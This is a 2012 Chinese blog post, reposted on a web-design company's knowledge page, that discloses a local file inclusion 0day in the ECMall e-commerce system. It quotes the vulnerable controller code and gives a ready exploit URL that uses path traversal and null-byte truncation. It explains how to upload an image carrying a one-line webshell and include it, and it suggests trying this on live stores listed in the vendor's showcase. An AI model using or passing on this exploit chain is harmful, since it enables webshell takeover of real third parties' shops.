知识学堂
  • ·联系电话:+86.023-75585550
  • ·联系传真:+86.023-75585550
  • ·24小时手机:13896886023
  • ·QQ 咨 询:361652718 513960520
当前位置 > 首页 > 知识学堂 > 网站建设知识
ecmall本地文包函(0day)
更新时间:2012-05-21 | 发布人:本站 | 点击率:327
ECMall 社区电子商务系统(简称ECMall)是上海商派网络科技有限公司继ECShop 之后推出的又一个电子商务姊妹产品。
 
最近看到乌云上暴了一个ecmall全版文件包函漏洞、其实自己早在去年做ecmall二次开发的时候也发现了一个本地文件包函漏洞和xss、不知道和乌云上的哪个是不是一样。
 
出现的地方比较杯具,是一个核心文件里面、在eccore/ecmall.php文件里。大概78行左右吧。
 
 
 
//只判断是app是否设置,然后去掉了两端空格
 
$app = isset($_REQUEST['app']) ? trim($_REQUEST['app']) : $default_app;
 
$act = isset($_REQUEST['act']) ? trim($_REQUEST['act']) : $default_act;
 
//很明显可以看出$app是我们可以控制的、由于后面连接了.app.php所以利用的时候要截断。
 
$app_file = $config['app_root'] . "/{$app}.app.php";
 
//应为是本地包函、所以is_file是为真的
 
if (!is_file($app_file))
 
{
 
exit('Missing controller');
 
}
 
//这里直接就包函了,这么底级的漏洞、我都不好说什么了.
 
require($app_file);
 
 
 
Exp:http://xxxx.com/index.php?app=../data/files/mall/application/store_516_1.jpg%00.
 
 
 
测试:
 
到官方的用户展示里挑几个目标测试一下。
 
注册一个用户、上传头像或者其他上传地方上传一张函一句话的图片、包函进来即可.
 
将图片路径替换exp里的路径、后面的%00.就是前面所说的截断00后面有个点看清楚.
 
 
 
注:须要在GPC没打开时方能利用成功、所以说还是有一点鸡肋的,不要用来做坏事、产生任何后果与本人无关。
 
 
 
其他地方还有很多xss、用xss来拿shell的成功率要高很多、因为后台可以拿shell。匆忙乱写的比较乱呀、见笑鸟,有机会写个其他类型的。
分享到: QQ空间 新浪微博 开心网 人人网